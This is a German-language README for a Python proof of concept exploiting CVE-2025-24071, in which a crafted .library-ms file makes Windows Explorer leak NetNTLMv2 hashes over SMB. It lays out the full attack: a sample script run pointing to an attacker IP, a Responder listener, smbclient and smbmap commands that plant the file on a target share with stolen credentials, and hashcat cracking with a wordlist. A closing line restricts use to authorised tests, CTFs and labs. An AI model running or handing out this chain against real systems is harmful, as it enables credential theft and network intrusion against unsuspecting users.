
Python-PoC für CVE-2025-24071, das eine .library-ms-Datei erstellt, um den Windows-Explorer dazu zu bringen, NetNTLMv2-Hashes über SMB preiszugeben, damit sie abgefangen und geknackt werden können.
CVE-2025-24071 — .library-ms NTLM-Coercion (SMB-/TAR-Methode)
Fragt nach deiner Angreifer-IP und einem Dateinamen, schreibt eine .library-ms, die auf
\\<IP>\share zeigt, und packt sie in exploit.tar. Wenn der Explorer den Ordner durchsucht, in dem
die lose .library-ms landet, löst er diesen UNC-Pfad automatisch auf und leakt die NTLMv2 des Kontos
an deinen Listener — kein Klick nötig.
⚠️ Die lose
.library-msist das, was ausgelöst wird — nicht die.tar. Eine.tar, die auf der Freigabe liegt, ist inert; der Explorer parst keine Tarballs. Du musst die.library-msselbst als lose Datei auf die Freigabe bringen. Wie du das machst, hängt vom Tool ab (siehe unten).
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms auf eine beschreibbare Freigabe bringensmbclient — lade die .tar hoch, entpacke sie serverseitig mit tar x (legt die
lose .library-ms daneben ab):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — hat keinen Entpackungsschritt, also lade die lose .library-ms direkt hoch
(die .tar hier hochzuladen bringt nichts — sie kann nicht entpackt werden):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
Bestätige, dass sie lose auf der Freigabe gelandet ist:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ nur für autorisierte Penetrationstests / CTF / Laborumgebungen ☧